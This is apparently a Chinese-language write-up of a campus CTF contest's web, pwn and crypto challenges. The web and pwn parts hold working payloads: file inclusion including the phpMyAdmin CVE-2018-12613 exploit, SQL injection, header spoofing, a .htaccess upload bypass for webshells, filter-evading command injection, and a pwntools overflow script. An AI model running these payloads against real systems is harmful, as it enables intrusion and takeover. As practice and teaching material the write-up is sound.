五月赛也圆满结束啦,整理不易,点个赞8。

[WEB]WEB签到题

考点:修改cookie值,简单代码审计

“我是一个什么都不会的出题人,我啥也不知道,我只知道你不是我可耐的弟弟-。-”

“Ctrl+U”查看源代码:

提示“承认是弟弟吧”,那么我们有两种方法解决这个问题。

方法一:

利用BurpSuite抓个包,查看HTTP请求的数据信息。

可以看到原本是no,所以说只有你承认是个弟弟,改成yes才能继续-。-

改成yes后看到一串base64字符,同上一次考核一样没有给大家设置难度。

Base64解码后得到./data/index.php,然后直接访问即可看到代码。

方法二:

利用火狐或谷歌的插件Editthiscookie,对cookie值进行编辑修改

修改后刷新页面即可得到响应结果,出题人紫哥推荐这个插件,方便快捷。

接下来我们看代码,进行审计:

<?php 
    error_reporting(0); 
    $file = $_GET['file']; 
    if(!isset($file)) 
        $file = '1'; 
    $file = str_replace('../', '', $file); 
    include_once($file.".php"); 
    highlight_file(__FILE__); 
?>

一个很简单的过滤,将../替换为空,所以双写绕过即可。

Payload如下:

?file=php://filter/read=convert.base64-encode/resource=…/./…/./…/./…/./flag

flag{92eb5ffee6ae2fec3ad71c777531578f}

[WEB]Easy_SQL

普通的注入题,过滤了空格,把空格替换为/**/即可。

payload:

-1/**/union/**/select/**/1,flag,3/**/from/**/flag#

flag{065ceddfba02c7409fb3abb88340ca60}

[WEB]来熟悉数据库吧

紫哥:此题意在让大家了解WEB学习是基于漏洞的研究,针对此题,只要同学们上网随意搜索phpmyadmin漏洞利用,都会看到phpmyadmin4.8.1本地文件包含漏洞(CVE-2018-12613)漏洞利用的文章,是一个很简单的送分题。

详情参考:https://www.cnblogs.com/peri0d/p/11508866.html

受影响版本:phpMyAdmin 4.8.0和4.8.1。

payload:?target=db_sql.php%253f/../../../../../../../../flag

flag{2ab24e6ded5d31c0f9918319ac3071f3}

[WEB]NoJS

考点:修改JS

f12查看源代码:

把hidden删掉,把maxlength改大,按下“开门”按钮即可。

flag{f15a460de67bf935f67556a44a56efc7}

[WEB]phpBBQ

考点:php代码审计

这是一道不能透露出题人是谁的题目qwq。就是把很多php代码审计的基础知识点融合到了一起,不算特别难,但是可能会很费时间哈。

打开后提示:

Only 127.127.127.127 can visit.Please go out!

这是让我们以127.127.127.127的身份去访问该网页,

所以用BurpSuite抓包,改X-Forwarded-For即可:

返回源码如下:

<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
include "flag.php";

function GetIP() {
    if (!empty($_SERVER["HTTP_CLIENT_IP"])) $cip = $_SERVER["HTTP_CLIENT_IP"];
    else if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
    else if (!empty($_SERVER["REMOTE_ADDR"])) $cip = $_SERVER["REMOTE_ADDR"];
    else $cip = "1.2.3.4";
    return $cip;
}

$GetIPs = GetIP();

function ishuiwen($number) {
    $number = strval($number);
    $i = 0;
    $j = strlen($number) - 1;
    while ($i < $j) {
        if ($number[$i] !== $number[$j]) {
            return false;
        }
        $i++;
        $j--;
    }
    return true;
}

if ($GetIPs == "127.127.127.127") {
    highlight_file(__FILE__);
    $level1 = @$_GET['str1'];
    $level2 = @$_POST['str2'];
    $level3 = @$_GET['str3'];
    $level4 = @$_POST['str4'];
    if (ereg("^[a-zA-Z0-9]+$", $level1) === FALSE) {
        echo '<p>You password must be alphanumeric!</p>';
    } else if (strlen($level1) < 8 && $level1 > 9999999) {
        if ($level2 == "QNKCDZO") {
            die("<p>Try it again.</p>");
        } else if (md5($level2) == md5("QNKCDZO")) {
            echo ("<p>It's easy, isn't it?</p>");
            if (isset($level3) == FALSE) {
                die("Congratulations, let's move on!");
            }
            $value1 = intval($level3);
            $value2 = intval(strrev($level3));
            if ($value1 != $value2) {
                die("<p>This is not what I want.</p>");
            } else {
                if (ishuiwen($level3)) {
                    die("<p>Oh! {$value1} is a palindrome number!</p>");
                } else {
                    echo "<p>Congratulations, almost there!</p>";
                    if (eregi("ShawRoot", $level4)) {
                        die("<p>not allowed!</p>");
                    } else {
                        $level4 = urldecode($level4);
                        if ($level4 == "ShawRoot") {
                            echo $flag;
                        }
                    }
                }
            }
        } else {
            die("<p>You r smart but not enough!</p>");
        }
    }
} else {
    echo ("<p>Only 127.127.127.127 can visit.Please go out!</p>");
}
?>

一点一点去看,暂时跳过自定义函数,从if ($GetIPs == “127.127.127.127”)向下开始审计:

$level1 = @$_GET['str1'];
if (ereg("^[a-zA-Z0-9]+$", $level1) === FALSE) {
        echo '<p>You password must be alphanumeric!</p>';
    } else if (strlen($level1) < 8 && $level1 > 9999999) {
        if ($level2 == "QNKCDZO") {
            die("<p>Try it again.</p>");
        } 

$level1:以get形式传入参数名为str1的变量,它的范围是[a-zA-Z0-9],而且它的长度要<8,值要>9999999。可以用科学计数法1e9或数组来解决这个条件的限制。

if ($level2 == "QNKCDZO") {
            die("<p>Try it again.</p>");
        } else if (md5($level2) == md5("QNKCDZO")) {
            echo ("<p>It's easy, isn't it?</p>");
        }

$level2:提示QNKCDZO,涉及到一个知识点

240610708 和 QNKCDZO md5值类型相似(都是0e开头),但并不相同,在“==”操作符的运算下,结果返回true

PHP中md5函数缺陷漏洞:http://www.luyixian.cn/news_show_14348.aspx

$level3 = @$_GET['str3'];
function ishuiwen($number) {
    $number = strval($number);
    $i = 0;
    $j = strlen($number) - 1;
    while ($i < $j) {
        if ($number[$i] !== $number[$j]) {
            return false;
        }
        $i++;
        $j--;
    }
    return true;
}
if (isset($level3) == FALSE) {
                die("Congratulations, let's move on!");
            }
            $value1 = intval($level3);
            $value2 = intval(strrev($level3));
            if ($value1 != $value2) {
                die("<p>This is not what I want.</p>");
            } else {
                if (ishuiwen($level3)) {
                    die("<p>Oh! {$value1} is a palindrome number!</p>");
                } else {
                    echo "<p>Congratulations, almost there!</p>";
                 }
                }

$level3:这一步相对前面稍微难一些,如果没有$_GET[‘str3’],会退出程序并输出Congratulations, let’s move on!,所以必须要传入str3。$value1就是传入的值,$value2则是它的反转,这两个参数必须相等,也就是说,传入的值必须是回文,可是在自定义函数(ishuiwen)这里必须返回false才能继续下一关。

自定义函数(ishuiwen)会判断实参传入进去,从前往后与从后往前,按位比较值是否相等。

涉及到一个知识点,出题时参考了实验吧的[你真的会PHP吗]这道题。

方法一

intval最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647
eg: intval(‘1000000000000’)会返回 2147483647
64 位系统上,最大带符号的 integer 值是 9223372036854775807。

如果$_GET[‘str3’]=2147483647,它反转后($value2)是7463847412,已经达到了intval函数的上限,所以还被视为2147483647。又因为它按位比较不相等,所以可以绕过。

方法二

构造0%00,它反转后的($value2)也是0,又因为按位不相等,所以可以绕过

if (eregi("ShawRoot", $level4)) {
    die("<p>not allowed!</p>");
} else {
    $level4 = urldecode($level4);
    if ($level4 == "ShawRoot") {
        echo $flag;
    }

$level4:考的是urldecode二次编码绕过,第一次是浏览器的解码第二次是函数的解码。

最终payload:

解法一

解法二

flag{f3086e708fc891c35d0bc3730b38caad}

[WEB]綦怪的上传

考点1.js绕过2.修改文件内容3.Content-Type

后端核心代码部分如下:

<?php
    header("Content-Type: text/html;charset=utf-8");
    if(isset($_POST["submit"]))
    {
        
        if($_FILES['file']['type'] !== "image/jpeg" 
            && $_FILES['file']['type'] !== "image/png" 
            && $_FILES['file']['type'] !== "image/gif"){

            exit('等会儿!奶哥觉得你这文件类型不对!');
        }
        
        
        if(!@getimagesize($_FILES['file']['tmp_name'])){
            exit("停!奶哥觉得你这图片有大问题!");
        }

        $name = $_FILES['file']['name'];
        echo "恭喜你通过了奶哥的检查 filename:".$name;
        echo "<br>";
        echo "<br>";

        if($name !== 'qng.php'){
            exit("不过,你就上传个这玩意儿还想管你奶哥要flag??<p>人家要的是qng.php。</p>");
        }

        $content = file_get_contents($_FILES['file']['tmp_name']);
        if(!preg_match('/qinaizheng/i', $content)){
            exit("光这样把,还差点意思,里面怎么也得有个'qinaizheng'吧?"."<br>"."以后这种下不为例的事儿让奶哥少说袄。");
        }
        echo "<br>".'行了,不难为老弟啦,这是奶哥赏你的:flag{23b94cef8ab3a05122b86db5609bdc9c}';
        exit();
    }
    else{
        echo "给?爬";
    }
?>

拿一张正常的图片,在不破坏其文件结构的情况下,插入“qinaizheng”。

上传时用BurpSuite抓包,把名字改为qng.php。即可拿到flag

flag{23b94cef8ab3a05122b86db5609bdc9c}

[WEB]Easy_upload

考点:.htaccess攻击

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置,通过.htaccess文件可以实现网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。该文件上传后即使与木马文件不在同一路径也会解析。

补充:做过upload-labs靶场的这题应该都没问题,第三关就可以玩的.htaccess文件上传绕过攻击。注:该方法在实际的渗透环境中有时也会出有奇效。

通过上传我们可以看到任何包含ph的后缀都会无法上传,因为后端的过滤是一个黑名单,所以包括php、php3、php5、phtml等这些绕过方法将全部不能使用,于是我们可以想到利用.htaccess重写其解析规则。

当“filename”处改为.htaccess进行上传后,仍然提示“我扌your Type?”,这已经给出了很明显的提示:将Content-Type改为图片类型即可。

这是因为在后端对文件类型进行了验证,这种方法在实际渗透中也会遇到。这里注意一下:赛题中每一步的操作会有引导提示,但是实际渗透的过程中都是基于黑盒测试,并不会有各种提示,所以就需要就行不断尝试,并积累Bypass的操作思路。
重构.htaccess文件内容如下:(重写方法不唯一,网上有很多种)

AddType  application/x-httpd-php  .jpg

该语句意思是:将所有.jpg文件当作php文件进行解析,所以在上传完.htaccess文件后就可以在上传一个包含php恶意代码的一句话,上传文件后缀名改为.jpg。

在BurpSuite中利用Repeater模块的重发功能发送后,得到路径回显,接下来的操作就是蚁剑连接,最终在根目录下看到flag。(蚁剑使用参看上期Writeup)或者直接利用hackerbar进行快速的命令执行,大部分CTF比赛中,都会在根目录下找到flag。

flag{d2104a400c7f629a197f33bb33fe80c0}

[WEB]再来ping一波

考点:RCE的Bypass技巧

题目与上次考核基本一样,但是后端过滤做了修改,禁掉了`和大部分读取文件命令,允许了“和‘,空格的过滤这个真的是题目所说的复习,但是最后过滤了ls和index,不可以直接连接输入。给出过滤代码:

<?php
    $flag = 'flag{ae5eb824ef87499f644c3f11a7176157}';
	if(isset($_GET['ip'])){
		$ip = $_GET['ip'];
		if(preg_match("/\&|\/|\?|\*|\<|\>|`|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
			print_r($match);
			print($ip);
			echo "<pre>";
			echo preg_match("/\&|\/|\?|\*|\<|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
			die("fxck your symbol!");
		}
		else if(preg_match("/ /", $ip)){
			die("空格我可没加难度这可真是复习,/斜眼笑");
		}
		else if(preg_match("/bash/", $ip)){
			die("Bash is not allowed");
		}
		else if(preg_match("/ls/", $ip)){
			die("我很抱歉,其实你得再研究研究");
		}
       		 else if(preg_match("/cat|tac|sort|head|tail|more|less/", $ip)){
			die("常用的读取命令肯定不行,你要是想出绕过的也算你厉害。但过滤机制是改了的-。-,你再研究研究?");
		}
		else if(preg_match("/rm/", $ip)){
			die("你要搞我???");
		}
		else if(preg_match("/index/",$ip)){
			die("那能让你直接读?");
		}
		$a = system("ping -c 4 ".$ip);
		echo "<pre>";
		print_r($a);
	}
?>

考虑拼接绕过,Payload:ip=127.0.0.1;a=l;b=s;$a$b

但是后面还会发现常用读取命令被过滤掉了,这里提供一种新方法ca”t,双引号/单引号中的空字符会被忽略,而又成功绕过了后端的过滤。

Payload:ip=127.0.0.1;a=in;b=dex.php;ca”t$IFS$9$a$b

更多的Bypass技巧参看紫哥的博客文章:

http://purplet.top/2020/03/14/rce%E7%9A%84bypass%E9%AA%9A%E5%A7%BF%E5%8A%BF/

flag{ae5eb824ef87499f644c3f11a7176157}

[PWN]sandbox

主要考点为过滤sh后如何getshell

$0会返回当前终端的执行状态,直接输入$0获取终端执行权限。

[PWN]无内鬼

ida分析main函数:

joke函数:

存在明显栈溢出漏洞,题目提供预留后门:

控制eip到预留后门函数即可。动态调试:

56+4位后控制eip,exp如下:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'

local = 1
if local == 1:
    r=process('./inner')
    gdb.attach(r)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
	r=remote('124.193.74.212',58842)
	#libc = ELF('./libc-2.27.so')

elf = ELF('./inner')
inner = elf.symbols['inner']
r.sendline(cyclic(56)+p32(0xdeadbeef)+p32(inner))

r.interactive()

[CRYPTO]我可爱吗

开局给了一个图片文件,文件尾部有未知密码,根据图片内容猜测是rabbit密码。

flag{45fa6a91d26c1f5974ae1c39fae19f7b}

[CRYPTO]新的起点

题目如下:

佛曰:哉修般須須哉我莊阿亦如願眾菩愍哉念須諦婆伏般咤降降兜訶祗塞阿耨慧寂念須薩若尊愍咤吶嚩愍嚴囉喃尊空咒如蜜所吶哆伏哉亦塞若阿念哆哉所蜜吶所降即降修嚤所哉是嘚嚩波嚤嘚婆修色亦如伏訶即薩耨耨蜜我菩闍夷羅哉僧慧訶空哉菩薩愍祗彌我嘇菩即如隸慧吶菩尊彌摩聞哉亦耨彌嘚哉空如愍嚴般摩心所色吶僧塞塞波空缽尊心尊寂喃波諦哉祗薩迦須訶哉如薩缽是是愍薩哉吶羅闍劫諸薩蜜兜願吶念慧咒哉念心念吶須嘚我念哉諦空若缽夷寂即慧色塞嘇願羅諸嘚婆兜喼阿念嘚慧願咒哉嘚莊尊聞兜如須咒咒羅哉心慧亦囑囑

根据题目,在搜索引擎搜索关键词得到:新佛曰解密,然后得到“熊曰”

熊曰:呋食食很嗡會和嗷噔歡沒呆肉肉覺噗住哮圖出非萌既果類麼冬象出嗥有類喜嗚非襲嗥吖嚁盜呦果類囑現笨氏噤誘蜂取咬喜呱哈吃喜類

再次用这个网站解密:

f7d5lfd2a278gac3{4d}4afs544y1fesac85e0308af4

栅栏解码,删除结尾多余的sys504:

flag{451ae87f2a4a4fc0add7cdf4e83f5283}

[CRYPTO]Vigenere

将这串字符转为小写:

95wzvv36zvt9cx91547t1z06tv8cxuzx

根据题目提示得知是维吉尼亚密码,密钥是sys:

flag{95ebdd36bdb9ef91547b1b06bd8efcbf}

[CRYPTO]要有耐心哦

R0VaVEFNQlFHQVpUQU1aUkdBWVRHTUJUR0VZRENNSlRHQVlER01CUUdBWlRDTUJRR01ZREFNQlJHRVpUQU1KVEdFWURBTUJRR01ZVEFNQlFHTVlUQU1KUUdNWVRDTUJRR0FaVEFNSlJHRVlUR01KUkdFWVRBTVpSR0VZVEFNQlRHQVlEQ01KUkdNWVRBTUJUR0FaVENNQlFHQVlER01KUkdFWURBTVpRR0FZREFNQlRHRVlUQ01CUUdNWVRBTUpRR01ZVEFNQlFHTVlUQ01KUkdBWlRBTUJSR0VZVEdNQlJHTVlEQ01KUkdFWlRBTUJRR0FZREdNSlFHRVlER01KUkdFWVRDTVpSR0FZREFNQlRHQVlUQ01KUkdNWURBTUpRR01ZREFNQlFHQVpUQ01CUUdBWURHTUE9

依次进行base64、base32解码,最后得到:

13000030310130310113003000310030001130131000031000310103110003011113111103111003001113100303100003111003000003111003101031000311110300111301301111300000310103111113100003011113001030000031000030

摩斯密码解得flag:

flag{d3a6bc71982de6858cb92a15c061f56e}

[CRYPTO]B@3e

TjxcT3pxTjOyENO5SNF2SNbxTGJ4TeD3TGivTNbxTwizTeJzHh0=
(FLAGiswhatBCDEHIJKMNOPQRSTUVWXYZbcdefgjklmnopqruvxyz0123456789+/)

自定义了base64编码表,写脚本即可:

import base64
s1="FLAGiswhatBCDEHIJKMNOPQRSTUVWXYZbcdefgjklmnopqruvxyz0123456789+/"
s2="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
base=b'TjxcT3pxTjOyENO5SNF2SNbxTGJ4TeD3TGivTNbxTwizTeJzHh0='
flag=''
for i in base:
    if chr(i) != '=':
        index = s1.find(chr(i))
        flag += s2[index]
    else:
        flag +='='
print(flag)
print(base64.b64decode(flag))

flag{1fe2559a06a81d48f37d10e81da3f438}

[CRYPTO]你两步能解得出我?

考点:花朵符号文本加密、熊曰加密、汉字文字加密

很明显的花朵符号加密,在线网址解密后,发现如下文字:

flag{熊曰:呋食很森麼取誘嘶嗄拙寶溫動發襲噤山破果擊出寶唬唬更達咯食山麼吃噗我嗄爾咬發告魚圖和喜噤雜人擊拙蜜森非食性嗄森洞嘿嗚很動噤嗡更盜捕吖食溫呱嗒家噔樣哮噤類盜住嗒食覺果告啽更捕拙嗄爾圖襲噗哮嗄冬笨嘍呆蜂更偶偶嗥非訴爾笨嘿笨吖達蜜擊哈告嘶噗盜類取樣象果吃噔笨怎既哮非很嚄呦訴動洞嚁發呦襲噗呱肉捕家家唬麼會嗅訴雜噤囑食嗄襲動沒怎噔嗡和嚄溫現誘囑嚄告訴噤哈果哮吖覺蜂洞洞吃嗄噗捕呆嚄襲告呱麼蜂笨嘍誘訴溫我爾吃唬誒笨爾喜捕呱氏人嚄洞蜜類告冬嗅山冬肉啽肉沒呱呆呦蜂果和唬擊啽呦覺哮性嗥性嗒常常吃圖}

flag这么长,大概率不是真的,

看到大括号里的文字——熊曰,所以下一层是熊曰解密:

熊说:你说的不对,刚才的才不是福来哥呢,他说这个輔䓶搿䳴䦢㙱茂适正启皑抡衷适阒茂皑节缬圯正虬奴虬衷正启怜启缬怜茂衷启节恫正适=䳴䦢㙱在这里,偷偷告诉你輔櫴搿就是䦢㙱里面的哟

查看生僻字的拼音,輔䓶搿代表“flag”,䳴䦢㙱代表大括号“)”,摘取里面的字,同样在千千秀字里可以解:

flag{915d3e81793c4f52a285d0d4098dc651}

[CRYPTO]初次识数

5315545505565315305525475365305515565595225365315385595535506675325305595305365516675205575305395515586675595375395365365366678=

千千秀字数字密码

f951fe7lae614}afc485@ge4ea6@{2ed63@4bdaaa@

栅栏:

flag{49afe2b5ec4ed164edaf18a6ae4563a7}

[CRYPTO]Easy_RSA

直接用工具RSA-Tool 2 by tE!一把梭即可。这里有个坑点,e是十六进制的65537(0x65537),放心已经暴打出题人了:

flag{6d1acfbb29139193452d757efc7f2537}

[CRYPTO]123456789

考点:九宫格键盘加密

33532141  52329391637331

F对应3键的第三个字母(33),以此类推,解出:flagkeyword,别忘记md5加密封包一下:

flag{d7df5b64df1181ef1d62d646a13aa860}

[CRYPTO]base……

JTk9RDBgRDA5MjUwJmx0O2A9PQ==

base64:

%9=D0`D09250<`==

ROT47:

Thls_1s_had_k1ll

md5加密封包一下:

flag{9054bbaba0edb040cd8d51158d236fad}

[CRYPTO]九层妖塔

请移步百度网盘:

链接: https://pan.baidu.com/s/1DV7-jfmdqFVonztH7GL6EQ 提取码: x38u

[MISC+REVERSE]

purplet(紫哥)整理,请移步百度网盘:

链接: https://pan.baidu.com/s/1IAcsKlV5osP5Zyf1QIampw 提取码: m3yd